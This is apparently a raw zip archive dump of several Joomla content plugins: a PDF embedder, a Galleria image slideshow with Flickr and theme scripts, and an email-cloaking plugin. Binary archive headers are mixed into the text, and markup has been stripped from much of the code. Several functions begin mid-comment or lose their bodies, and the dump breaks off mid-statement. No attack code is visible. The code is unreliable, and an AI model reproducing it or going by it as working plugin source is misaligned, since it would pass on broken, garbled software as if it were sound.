AAAAPK>\pdf_embed/pdf_embed.xmlnuW+A pdf_embed 14th May 2013 TechJoomla extensions@techjoomla.com http://techjoomla.com Copyright © 2013 - All rights reserved. GNU/GPL 2.0 PLG_PDF_EMBED_DESC en-GB.plg_content_pdf_embed.ini en-GB.plg_content_pdf_embed.sys.ini pdf_embed.php index.html
PK>\h||pdf_embed/pdf_embed.phpnuW+Atext is also available * @param object The article params * @param int The 'page' number */ // Function for Joomla version 2.5.0 public function onContentPrepare($context, $row, $params, $page = 0) { $regex = "#{pdf[\=|\s]?(.+)}#s"; $regex1 = '/{(pdf=)\s*(.*?)}/i'; // find all instances of mambot and put in $matches preg_match_all( $regex1, $row->text, $matches ); // Number of mambots $count = count( $matches[0] ); for ($i=0; $i<$count; $i++) { $r = str_replace( '{pdf=', '', $matches[0][$i]); $r = str_replace( '}', '', $r); $ex = explode('|',$r); $ploc = $ex[0]; $w = $ex[1]; $h = $ex[2]; $replace = plg_pdfembed_replacer($ploc , $w, $h ); $row->text = str_replace( '{pdf='.$ex[0].'|'.$ex[1].'|'.$ex[2].'}', $replace, $row->text); } return true; } } function plg_pdfembed_replacer($ploc , $w, $h ) { return ''; } ?> PK>\)pdf_embed/.htaccessnuW+A Order allow,deny Deny from all PK>\Vpdf_embed/index.htmlnuW+A PK>\6@@%avatar_slide_galleria/tmpl/folder.phpnuW+A
maxImages ; $n++, $count++) { $tmp = $tmpListImage[$p][$n]; echo ""; echo "'; } } ?>
PK>\mTT%avatar_slide_galleria/tmpl/flickr.phpnuW+A
PK>\%avatar_slide_galleria/tmpl/index.htmlnuW+APK>\)$avatar_slide_galleria/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK>\Q)[UU%avatar_slide_galleria/tmpl/picasa.phpnuW+A
PK>\ avatar_slide_galleria/index.htmlnuW+APK>\x661avatar_slide_galleria/classes/avatar.galleria.phpnuW+APK>\)'avatar_slide_galleria/classes/.htaccessnuW+A Order allow,deny Deny from all PK>\.avatar_slide_galleria/classes/avatar.image.phpnuW+Apath = $path; $this->numberFolder = $numberFolder; } public function setDescriptions($descriptions) { $this->descriptions = $descriptions; } public function getArrayImageLinks() { $pathRoot= JPath::clean(JPATH_ROOT.DIRECTORY_SEPARATOR.'images/'); sort($this->path); for($p = 0; $p < $this->numberFolder; $p++) { $ListImage[$p] = JFolder::files($pathRoot.$this->path[$p],$filter = '.'); sort($ListImage[$p]); } $tmpListImage = array(); for($p = 0; $p < $this->numberFolder; $p++) { $imgInFolder=0; $tmpListImage[$p] = array(); for($n = 0;$n < sizeof($ListImage[$p]); $n++) { $tmp = $ListImage[$p][$n]; $pattern = '/[^A-Za-z0-9._\\-+\s]/'; $tmpname = explode('.', $tmp); $ext = end($tmpname); if(strtolower($ext) == 'png' || strtolower($ext) == 'jpeg' || strtolower($ext) == 'jpg' || strtolower($ext) == 'gif' || strtolower($ext) == 'bmp') { if(preg_match($pattern, $tmp)); else $tmpListImage[$p][$imgInFolder++] = $ListImage[$p][$n]; } } } return $tmpListImage; } public function getArrayImageInfo($descriptons) { if($descriptons == NULL) return; else{ $tmpArrayDescription = explode('$',$descriptons); $tmpArray = array(); for($n = 0; $n < sizeof($tmpArrayDescription) ; $n++) { $tmp = explode('=>',$tmpArrayDescription[$n]); if(sizeof($tmp) >= 2) $tmpArray["$tmp[0]"] = $tmp[1]; else $tmpArray["$tmp[0]"] = NULL; } ksort($tmpArray); return $tmpArray; } } } } ?>PK>\(avatar_slide_galleria/classes/index.htmlnuW+APK>\)avatar_slide_galleria/.htaccessnuW+A Order allow,deny Deny from all PK>\>nӉ((2avatar_slide_galleria/assets/js/galleria.flickr.jsnuW+A/** * Galleria Flickr Plugin 2012-04-04 * http://galleria.io * * Licensed under the MIT license * https://raw.github.com/aino/galleria/master/LICENSE * */ (function($) { /*global jQuery, Galleria, window */ Galleria.requires(1.25, 'The Flickr Plugin requires Galleria version 1.2.5 or later.'); // The script path var PATH = Galleria.utils.getScriptPath(); /** @class @constructor @example var flickr = new Galleria.Flickr(); @author http://aino.se @requires jQuery @requires Galleria @param {String} [api_key] Flickr API key to be used, defaults to the Galleria key @returns Instance */ Galleria.Flickr = function( api_key ) { this.api_key = api_key || 'bad7186f26d42e9b0e774191ef6931f3'; this.options = { max: 30, // photos to return imageSize: 'medium', // photo size ( thumb,small,medium,big,original ) thumbSize: 'thumb', // thumbnail size ( thumb,small,medium,big,original ) sort: 'interestingness-desc', // sort option ( date-posted-asc, date-posted-desc, date-taken-asc, date-taken-desc, interestingness-desc, interestingness-asc, relevance ) description: false, // set this to true to get description as caption complete: function(){}, // callback to be called inside the Galleria.prototype.load backlink: false // set this to true if you want to pass a link back to the original image }; }; Galleria.Flickr.prototype = { // bring back the constructor reference constructor: Galleria.Flickr, /** Search for anything at Flickr @param {String} phrase The string to search for @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ search: function( phrase, callback ) { return this._find({ text: phrase }, callback ); }, /** Search for anything at Flickr by tag @param {String} tag The tag(s) to search for @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ tags: function( tag, callback ) { return this._find({ tags: tag }, callback); }, /** Get a user's public photos @param {String} username The username as shown in the URL to fetch @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ user: function( username, callback ) { return this._call({ method: 'flickr.urls.lookupUser', url: 'flickr.com/photos/' + username }, function( data ) { this._find({ user_id: data.user.id, method: 'flickr.people.getPublicPhotos' }, callback); }); }, /** Get photos from a photoset by ID @param {String|Number} photoset_id The photoset id to fetch @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ set: function( photoset_id, callback ) { return this._find({ photoset_id: photoset_id, method: 'flickr.photosets.getPhotos' }, callback); }, /** Get photos from a gallery by ID @param {String|Number} gallery_id The gallery id to fetch @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ gallery: function( gallery_id, callback ) { return this._find({ gallery_id: gallery_id, method: 'flickr.galleries.getPhotos' }, callback); }, /** Search groups and fetch photos from the first group found Useful if you know the exact name of a group and want to show the groups photos. @param {String} group The group name to search for @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ groupsearch: function( group, callback ) { return this._call({ text: group, method: 'flickr.groups.search' }, function( data ) { this.group( data.groups.group[0].nsid, callback ); }); }, /** Get photos from a group by ID @param {String} group_id The group id to fetch @param {Function} [callback] The callback to be called when the data is ready @returns Instance */ group: function ( group_id, callback ) { return this._find({ group_id: group_id, method: 'flickr.groups.pools.getPhotos' }, callback ); }, /** Set flickr options @param {Object} options The options object to blend @returns Instance */ setOptions: function( options ) { $.extend(this.options, options); return this; }, // call Flickr and raise errors _call: function( params, callback ) { var url = 'http://api.flickr.com/services/rest/?'; var scope = this; params = $.extend({ format : 'json', jsoncallback : '?', api_key: this.api_key }, params ); $.each(params, function( key, value ) { url += '&' + key + '=' + value; }); $.getJSON(url, function(data) { if ( data.stat === 'ok' ) { callback.call(scope, data); } else { Galleria.raise( data.code.toString() + ' ' + data.stat + ': ' + data.message, true ); } }); return scope; }, // "hidden" way of getting a big image (~1024) from flickr _getBig: function( photo ) { if ( photo.url_l ) { return photo.url_l; } else if ( parseInt( photo.width_o, 10 ) > 1280 ) { return 'http://farm'+photo.farm + '.static.flickr.com/'+photo.server + '/' + photo.id + '_' + photo.secret + '_b.jpg'; } return photo.url_o || photo.url_z || photo.url_m; }, // get image size by option name _getSize: function( photo, size ) { var img; switch(size) { case 'thumb': img = photo.url_t; break; case 'small': img = photo.url_s; break; case 'big': img = this._getBig( photo ); break; case 'original': img = photo.url_o ? photo.url_o : this._getBig( photo ); break; default: img = photo.url_z || photo.url_m; break; } return img; }, // ask flickr for photos, parse the result and call the callback with the galleria-ready data array _find: function( params, callback ) { params = $.extend({ method: 'flickr.photos.search', extras: 'url_t,url_m,url_o,url_s,url_l,url_z,description', sort: this.options.sort }, params ); return this._call( params, function(data) { var gallery = [], photos = data.photos ? data.photos.photo : data.photoset.photo, len = Math.min( this.options.max, photos.length ), photo, i; for ( i=0; i').css({ width: '100%', height: '100%', opacity: 0.7, background:'#000 url(' + Galleria.JURI + ') no-repeat 50% 50%' }); if ( flickr.length ) { // validate the method if ( typeof Galleria.Flickr.prototype[ flickr[0] ] !== 'function' ) { Galleria.raise( flickr[0] + ' method not found in Flickr plugin' ); return load.apply( this, args ); } // validate the argument if ( !flickr[1] ) { Galleria.raise( 'No flickr argument found' ); return load.apply( this, args ); } // apply the preloader window.setTimeout(function() { self.$( 'target' ).append( loader ); },100); // create the instance f = new Galleria.Flickr(); // apply Flickr options if ( typeof self._options.flickrOptions === 'object' ) { f.setOptions( self._options.flickrOptions ); } // call the flickr method and trigger the DATA event f[ flickr[0] ]( flickr[1], function( data ) { self._data = data; loader.remove(); self.trigger( Galleria.DATA ); f.options.complete.call(f, data); }); } else { // if flickr array not found, pass load.apply( this, args ); } }; }( jQuery ) );PK>\:3avatar_slide_galleria/assets/js/galleria.classic.jsnuW+A/** * Galleria Classic Theme 2012-08-08 * http://galleria.io * * Licensed under the MIT license * https://raw.github.com/aino/galleria/master/LICENSE * */ (function($) { /*global jQuery, Galleria */ Galleria.addTheme({ name: 'classic', author: 'Galleria', css: 'galleria.classic.css', defaults: { transition: 'slide', thumbCrop: 'height', titleColor: '#ffffff', desColor: '#ffffff', bgColor: '#000000', // set this to false if you want to show the caption all the time: _showFullscreen: true, _toggleInfo: true }, init: function(options) { Galleria.requires(1.28, 'This version of Classic theme requires Galleria 1.2.8 or later'); // add some elements this.addElement('info-link','info-close','fullscreen'); this.append({ 'info' : ['info-link','info-close'], 'stage' : 'fullscreen' }); // cache some stuff var gallery = this, container = this.$('container'), info = this.$('info-link,info-close,info-text'), touch = Galleria.TOUCH, fs_link = this.$('fullscreen'), FULLSCREEN = false, transition = options.transition, click = touch ? 'touchstart' : 'click'; // show loader & counter with opacity this.$('loader,counter').show().css('opacity', 0.4); // Recolor info infoColor = function(){ info.find('.galleria-info-title').css('color',options.titleColor); info.find('.galleria-info-description').css('color',options.desColor); container.css('background',options.bgColor); },infoColor(); //Resize when thumbnails is false if ( options.thumbnails === false ) { this.$('stage').css('bottom',10); this.$('thumbnails-container').hide(); this.resize(); } // some stuff for non-touch browsers if (! touch ) { this.addIdleState( this.get('image-nav-left'), { left:-50 }); this.addIdleState( this.get('image-nav-right'), { right:-50 }); this.addIdleState( this.get('counter'), { opacity:0 }); } // toggle info if ( options._toggleInfo === true ) { info.bind( click, function() { info.toggle(); }); } else { info.show(); this.$('info-link, info-close').hide(); } // bind some stuff this.bind('thumbnail', function(e) { if (! touch ) { // fade thumbnails $(e.thumbTarget).css('opacity', 0.6).parent().hover(function() { $(this).not('.active').children().stop().fadeTo(100, 1); }, function() { $(this).not('.active').children().stop().fadeTo(400, 0.6); }); if ( e.index === this.getIndex() ) { $(e.thumbTarget).css('opacity',1); } } else { $(e.thumbTarget).css('opacity', this.getIndex() ? 1 : 0.6); } }); this.bind('loadstart', function(e) { if (!e.cached) { this.$('loader').show().fadeTo(200, 0.4); } this.$('info').toggle( this.hasInfo() ); $(e.thumbTarget).css('opacity',1).parent().siblings().children().css('opacity', 0.6); }); this.bind('loadfinish', function(e) { this.$('loader').fadeOut(200); }); this.bind( 'fullscreen_enter', function(e) { options.FULLSCREEN = true; gallery.setOptions('transition', false); fs_link.addClass('open'); container.css('background',options.bgColor); gallery.openLightbox(); $('.galleria-lightbox-overlay, .galleria-lightbox-box').addClass('galleria_lightbox_fullscreen'); $('.galleria-lightbox-overlay, .galleria-lightbox-box').css('display','none'); }); this.bind( 'fullscreen_exit', function(e) { options.FULLSCREEN = false; gallery.setOptions('transition',transition); fs_link.removeClass('open'); $('.galleria-lightbox-overlay, .galleria-lightbox-box').removeClass('galleria_lightbox_fullscreen'); $('.galleria-lightbox-overlay, .galleria-lightbox-box').css('display','none'); }); if (options._showFullscreen) { fs_link.click(function() { if (options.FULLSCREEN) { gallery.exitFullscreen(); } else { gallery.enterFullscreen(); } }); } else { fs_link.remove(); } } }); }(jQuery)); PK>\A̱5avatar_slide_galleria/assets/js/galleria-1.2.9.min.jsnuW+A/** * Galleria v 1.2.9 2013-01-18 * http://galleria.io * * Licensed under the MIT license * https://raw.github.com/aino/galleria/master/LICENSE * */(function(a){var b,c=this,d=c.document,e=a(d),f=a(c),g=Array.prototype,h=1.29,i=!0,j=3e4,k=!1,l=navigator.userAgent.toLowerCase(),m=c.location.hash.replace(/#\//,""),n=function(){},o=function(){return!1},p=function(){var a=3,c=d.createElement("div"),e=c.getElementsByTagName("i");do c.innerHTML="";while(e[0]);return a>4?a:b}(),q=function(){return{html:d.documentElement,body:d.body,head:d.getElementsByTagName("head")[0],title:d.title}},r=c.parent!==c.self,s="data ready thumbnail loadstart loadfinish image play pause progress fullscreen_enter fullscreen_exit idle_enter idle_exit rescale lightbox_open lightbox_close lightbox_image",t=function(){var b=[];return a.each(s.split(" "),function(a,c){b.push(c),/_/.test(c)&&b.push(c.replace(/_/g,""))}),b}(),u=function(b){var c;return typeof b!="object"?b:(a.each(b,function(d,e){/^[a-z]+_/.test(d)&&(c="",a.each(d.split("_"),function(a,b){c+=a>0?b.substr(0,1).toUpperCase()+b.substr(1):b}),b[c]=e,delete b[d])}),b)},v=function(b){return a.inArray(b,t)>-1?Galleria[b.toUpperCase()]:b},w={youtube:{reg:/https?:\/\/(?:[a-zA_Z]{2,3}.)?(?:youtube\.com\/watch\?)((?:[\w\d\-\_\=]+&(?:amp;)?)*v(?:<[A-Z]+>)?=([0-9a-zA-Z\-\_]+))/i,embed:function(a){return"http://www.youtube.com/embed/"+a},getThumb:function(b,d,e){e=e||n,a.getJSON(c.location.protocol+"//gdata.youtube.com/feeds/api/videos/"+b+"?v=2&alt=json-in-script&callback=?",function(a){try{d(a.entry.media$group.media$thumbnail[0].url)}catch(b){e()}}).error(e)}},vimeo:{reg:/https?:\/\/(?:www\.)?(vimeo\.com)\/(?:hd#)?([0-9]+)/i,embed:function(a){return"http://player.vimeo.com/video/"+a},getThumb:function(b,c,d){d=d||n,a.getJSON("http://vimeo.com/api/v2/video/"+b+".json?callback=?",function(a){try{c(a[0].thumbnail_medium)}catch(b){d()}}).error(d)}},dailymotion:{reg:/https?:\/\/(?:www\.)?(dailymotion\.com)\/video\/([^_]+)/,embed:function(a){return"http://www.dailymotion.com/embed/video/"+a},getThumb:function(b,c,d){d=d||n,a.getJSON("https://api.dailymotion.com/video/"+b+"?fields=thumbnail_medium_url&callback=?",function(a){try{c(a.thumbnail_medium_url)}catch(b){d()}}).error(d)}}},x=function(a){var b;for(var c in w){b=a&&a.match(w[c].reg);if(b&&b.length)return{id:b[2],provider:c}}return!1},y={support:function(){var a=q().html;return!r&&(a.requestFullscreen||a.mozRequestFullScreen||a.webkitRequestFullScreen)}(),callback:n,enter:function(a,b,c){this.instance=a,this.callback=b||n,c=c||q().html,c.requestFullscreen?c.requestFullscreen():c.mozRequestFullScreen?c.mozRequestFullScreen():c.webkitRequestFullScreen&&c.webkitRequestFullScreen()},exit:function(a){this.callback=a||n,d.exitFullscreen?d.exitFullscreen():d.mozCancelFullScreen?d.mozCancelFullScreen():d.webkitCancelFullScreen&&d.webkitCancelFullScreen()},instance:null,listen:function(){if(!this.support)return;var a=function(){if(!y.instance)return;var a=y.instance._fullscreen;d.fullscreen||d.mozFullScreen||d.webkitIsFullScreen?a._enter(y.callback):a._exit(y.callback)};d.addEventListener("fullscreenchange",a,!1),d.addEventListener("mozfullscreenchange",a,!1),d.addEventListener("webkitfullscreenchange",a,!1)}},z=[],A=[],B=!1,C=!1,D=[],E=function(b){Galleria.theme=b,a.each(D,function(a,b){b._initialized||b._init.call(b)}),D=[]},F=function(){return{clearTimer:function(b){a.each(Galleria.get(),function(){this.clearTimer(b)})},addTimer:function(b){a.each(Galleria.get(),function(){this.addTimer(b)})},array:function(a){return g.slice.call(a,0)},create:function(a,b){b=b||"div";var c=d.createElement(b);return c.className=a,c},removeFromArray:function(b,c){return a.each(b,function(a,d){if(d==c)return b.splice(a,1),!1}),b},getScriptPath:function(b){b=b||a("script:last").attr("src");var c=b.split("/");return c.length==1?"":(c.pop(),c.join("/")+"/")},animate:function(){var b=function(a){var b="transition WebkitTransition MozTransition OTransition".split(" "),d;if(c.opera)return!1;for(d=0;b[d];d++)if(typeof a[b[d]]!="undefined")return b[d];return!1}((d.body||d.documentElement).style),e={MozTransition:"transitionend",OTransition:"oTransitionEnd",WebkitTransition:"webkitTransitionEnd",transition:"transitionend"}[b],f={_default:[.25,.1,.25,1],galleria:[.645,.045,.355,1],galleriaIn:[.55,.085,.68,.53],galleriaOut:[.25,.46,.45,.94],ease:[.25,0,.25,1],linear:[.25,.25,.75,.75],"ease-in":[.42,0,1,1],"ease-out":[0,0,.58,1],"ease-in-out":[.42,0,.58,1]},g=function(b,c,d){var e={};d=d||"transition",a.each("webkit moz ms o".split(" "),function(){e["-"+this+"-"+d]=c}),b.css(e)},h=function(a){g(a,"none","transition"),Galleria.WEBKIT&&Galleria.TOUCH&&(g(a,"translate3d(0,0,0)","transform"),a.data("revert")&&(a.css(a.data("revert")),a.data("revert",null)))},i,j,k,l,m,o,p;return function(d,q,r){r=a.extend({duration:400,complete:n,stop:!1},r),d=a(d);if(!r.duration){d.css(q),r.complete.call(d[0]);return}if(!b){d.animate(q,r);return}r.stop&&(d.unbind(e),h(d)),i=!1,a.each(q,function(a,b){p=d.css(a),F.parseValue(p)!=F.parseValue(b)&&(i=!0),d.css(a,p)});if(!i){c.setTimeout(function(){r.complete.call(d[0])},r.duration);return}j=[],k=r.easing in f?f[r.easing]:f._default,l=" "+r.duration+"ms"+" cubic-bezier("+k.join(",")+")",c.setTimeout(function(b,c,d,e){return function(){b.one(c,function(a){return function(){h(a),r.complete.call(a[0])}}(b));if(Galleria.WEBKIT&&Galleria.TOUCH){m={},o=[0,0,0],a.each(["left","top"],function(a,c){c in d&&(o[a]=F.parseValue(d[c])-F.parseValue(b.css(c))+"px",m[c]=d[c],delete d[c])});if(o[0]||o[1])b.data("revert",m),j.push("-webkit-transform"+e),g(b,"translate3d("+o.join(",")+")","transform")}a.each(d,function(a,b){j.push(a+e)}),g(b,j.join(",")),b.css(d)}}(d,e,q,l),2)}}(),removeAlpha:function(a){if(p<9&&a){var b=a.style,c=a.currentStyle,d=c&&c.filter||b.filter||"";/alpha/.test(d)&&(b.filter=d.replace(/alpha\([^)]*\)/i,""))}},forceStyles:function(b,c){b=a(b),b.attr("style")&&b.data("styles",b.attr("style")).removeAttr("style"),b.css(c)},revertStyles:function(){a.each(F.array(arguments),function(b,c){c=a(c),c.removeAttr("style"),c.attr("style",""),c.data("styles")&&c.attr("style",c.data("styles")).data("styles",null)})},moveOut:function(a){F.forceStyles(a,{position:"absolute",left:-1e4})},moveIn:function(){F.revertStyles.apply(F,F.array(arguments))},elem:function(b){return b instanceof a?{$:b,dom:b[0]}:{$:a(b),dom:b}},hide:function(a,b,c){c=c||n;var d=F.elem(a),e=d.$;a=d.dom,e.data("opacity")||e.data("opacity",e.css("opacity"));var f={opacity:0};if(b){var g=p<9&&a?function(){F.removeAlpha(a),a.style.visibility="hidden",c.call(a)}:c;F.animate(a,f,{duration:b,complete:g,stop:!0})}else p<9&&a?(F.removeAlpha(a),a.style.visibility="hidden"):e.css(f)},show:function(a,b,c){c=c||n;var d=F.elem(a),e=d.$;a=d.dom;var f=parseFloat(e.data("opacity"))||1,g={opacity:f};if(b){p<9&&(e.css("opacity",0),a.style.visibility="visible");var h=p<9&&a?function(){g.opacity==1&&F.removeAlpha(a),c.call(a)}:c;F.animate(a,g,{duration:b,complete:h,stop:!0})}else p<9&&g.opacity==1&&a?(F.removeAlpha(a),a.style.visibility="visible"):e.css(g)},optimizeTouch:function(){var b,c,d,e,f={},g=function(b){b.preventDefault(),f=a.extend({},b,!0)},h=function(){this.evt=f},i=function(){this.handler.call(b,this.evt)};return function(f){a(f).bind("touchend",function(f){b=f.target,e=!0;while(b.parentNode&&b!=f.currentTarget&&e)c=a(b).data("events"),d=a(b).data("fakes"),c&&"click"in c?(e=!1,f.preventDefault(),a(b).click(g).click(),c.click.pop(),a.each(c.click,h),a(b).data("fakes",c.click),delete c.click):d&&(e=!1,f.preventDefault(),a.each(d,i)),b=b.parentNode})}}(),wait:function(b){b=a.extend({until:o,success:n,error:function(){Galleria.raise("Could not complete wait function.")},timeout:3e3},b);var d=F.timestamp(),e,f,g=function(){f=F.timestamp(),e=f-d;if(b.until(e))return b.success(),!1;if(typeof b.timeout=="number"&&f>=d+b.timeout)return b.error(),!1;c.setTimeout(g,10)};c.setTimeout(g,10)},toggleQuality:function(a,b){if(p!==7&&p!==8||!a||a.nodeName.toUpperCase()!="IMG")return;typeof b=="undefined"&&(b=a.style.msInterpolationMode==="nearest-neighbor"),a.style.msInterpolationMode=b?"bicubic":"nearest-neighbor"},insertStyleTag:function(b,c){if(c&&a("#"+c).length)return;var e=d.createElement("style");c&&(e.id=c),q().head.appendChild(e);if(e.styleSheet)e.styleSheet.cssText=b;else{var f=d.createTextNode(b);e.appendChild(f)}},loadScript:function(b,c){var d=!1,e=a(" $valueFormat) { if (!empty($valueFormat)) { $text = str_replace($keyFormat, $valueFormat, $text); } else { $text = str_replace($keyFormat, '', $text); } } } }PK>\444/avatar_slide_galleria/avatar_slide_galleria.xmlnuW+A Avatar Slide Galleria Plugin Nam Chung Tran 1.2.9 April 2012 JoomAvatar.com License GNU General Public License version 2 or later Tran Nam Chung admin@joomavatar.com www.joomavatar.com Free AVATAR_SLIDE_GALLERIA_DESC avatar_slide_galleria.php index.html avatar_slide_galleria.xml helper.txt assets tmpl classes en-GB.plg_content_avatar_slide_galleria.sys.ini PK>\V index.htmlnuW+A PK>\Vemailcloak/index.htmlnuW+A PK>\>ȪoBBemailcloak/emailcloak.phpnuW+A_cloak($row->text, $params); } return $this->_cloak($row, $params); } /** * Genarate a search pattern based on link and text. * * @param string The target of an email link. * @param string The text enclosed by the link. * @return string A regular expression that matches a link containing the parameters. */ protected function _getPattern ($link, $text) { $pattern = '~(?:]*)href\s*=\s*"mailto:' . $link . '"([^>]*))>' . $text . '~i'; return $pattern; } /** * Adds an attributes to the js cloaked email. * * @param string $jsEmail Js cloaked email. * @param string $before Attributes before email. * @param string $after Attributes after email. * * @return string Js cloaked email with attributes. */ protected function _addAttributesToEmail($jsEmail, $before, $after) { if ($before !== "") { $before = str_replace("'", "\'", $before); $jsEmail = str_replace(".innerHTML += ''", "'\'{$after}>'", $jsEmail); } return $jsEmail; } /** * Cloak all emails in text from spambots via Javascript. * * @param string The string to be cloaked. * @param array Additional parameters. Parameter "mode" (integer, default 1) * replaces addresses with "mailto:" links if nonzero. * @return boolean True on success. */ protected function _cloak(&$text, &$params) { /* * Check for presence of {emailcloak=off} which is explicits disables this * bot for the item. */ if (JString::strpos($text, '{emailcloak=off}') !== false) { $text = JString::str_ireplace('{emailcloak=off}', '', $text); return true; } // Simple performance check to determine whether bot should process further. if (JString::strpos($text, '@') === false) { return true; } $mode = $this->params->def('mode', 1); // any@email.address.com $searchEmail = '([\w\.\-\+]+\@(?:[a-z0-9\.\-]+\.)+(?:[a-zA-Z0-9\-]{2,10}))'; // any@email.address.com?subject=anyText $searchEmailLink = $searchEmail . '([?&][\x20-\x7f][^"<>]+)'; // anyText $searchText = '((?:[\x20-\x7f]|[\xA1-\xFF]|[\xC2-\xDF][\x80-\xBF]|[\xE0-\xEF][\x80-\xBF]{2}|[\xF0-\xF4][\x80-\xBF]{3})[^<>]+)'; //Any Image link $searchImage = "(]+>)"; // Any Text with ||)'; // Any address with ||)'; /* * Search and fix derivatives of link code email@email.com. This happens when inserting an email in TinyMCE, cancelling its suggestion to add * the mailto: prefix... */ $pattern = $this->_getPattern($searchEmail, $searchEmail); $pattern = str_replace('"mailto:', '"http://mce_host([\x20-\x7f][^<>]+/)', $pattern); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[3][0]; $mailText = $regs[5][0]; // Check to see if mail text is different from mail addy $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText); // Ensure that attributes is not stripped out by email cloaking $replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search and fix derivatives of link code anytext. This happens when inserting an email in TinyMCE, cancelling its suggestion to add * the mailto: prefix... */ $pattern = $this->_getPattern($searchEmail, $searchText); $pattern = str_replace('"mailto:', '"http://mce_host([\x20-\x7f][^<>]+/)', $pattern); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[3][0]; $mailText = $regs[5][0]; // Check to see if mail text is different from mail addy $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0); // Ensure that attributes is not stripped out by email cloaking $replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code email@amail.com */ $pattern = $this->_getPattern($searchEmail, $searchEmail); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[2][0]; $mailText = $regs[4][0]; // Check to see if mail text is different from mail addy $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText); // Ensure that attributes is not stripped out by email cloaking $replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code email@amail.com */ $pattern = $this->_getPattern($searchEmail, $searchEmailSpan); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[2][0]; $mailText = $regs[4][0] . $regs[5][0] . $regs[6][0]; // Check to see if mail text is different from mail addy $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText); // Ensure that attributes is not stripped out by email cloaking $replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0])); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code * anytext */ $pattern = $this->_getPattern($searchEmail, $searchTextSpan); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[2][0]; $mailText = $regs[4][0] . addslashes($regs[5][0]) . $regs[6][0]; $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0); // Ensure that attributes is not stripped out by email cloaking $replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0])); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code * anytext */ $pattern = $this->_getPattern($searchEmail, $searchText); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[2][0]; $mailText = addslashes($regs[4][0]); $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0); // Ensure that attributes is not stripped out by email cloaking $replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0]); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code * */ $pattern = $this->_getPattern($searchEmail, $searchImage); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[2][0]; $mailText = $regs[4][0]; $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0); // Ensure that attributes is not stripped out by email cloaking $replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0])); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code * email@example.org */ $pattern = $this->_getPattern($searchEmail, ($searchImage . $searchEmail)); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[2][0]; $mailText = $regs[4][0] . ($regs[5][0]); $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText); // Ensure that attributes is not stripped out by email cloaking $replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0])); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code * any text */ $pattern = $this->_getPattern($searchEmail, ($searchImage . $searchText)); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[2][0]; $mailText = $regs[4][0] . addslashes($regs[5][0]); $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText, 0); // Ensure that attributes is not stripped out by email cloaking $replacement = html_entity_decode($this->_addAttributesToEmail($replacement, $regs[1][0], $regs[3][0])); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code email@amail.com */ $pattern = $this->_getPattern($searchEmailLink, $searchEmail); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[2][0] . $regs[3][0]; $mailText = $regs[5][0]; // Needed for handling of Body parameter $mail = str_replace('&', '&', $mail); // Check to see if mail text is different from mail addy $replacement = JHtml::_('email.cloak', $mail, $mode, $mailText); // Ensure that attributes is not stripped out by email cloaking $replacement = $this->_addAttributesToEmail($replacement, $regs[1][0], $regs[4][0]); // Replace the found address with the js cloaked email $text = substr_replace($text, $replacement, $regs[0][1], strlen($regs[0][0])); } /* * Search for derivatives of link code anytext */ $pattern = $this->_getPattern($searchEmailLink, $searchText); while (preg_match($pattern, $text, $regs, PREG_OFFSET_CAPTURE)) { $mail = $regs[2][0] . $regs[3][0]; $mailText = addslashes($regs[5][0]); // Needed for handling of Body parameter $mail = 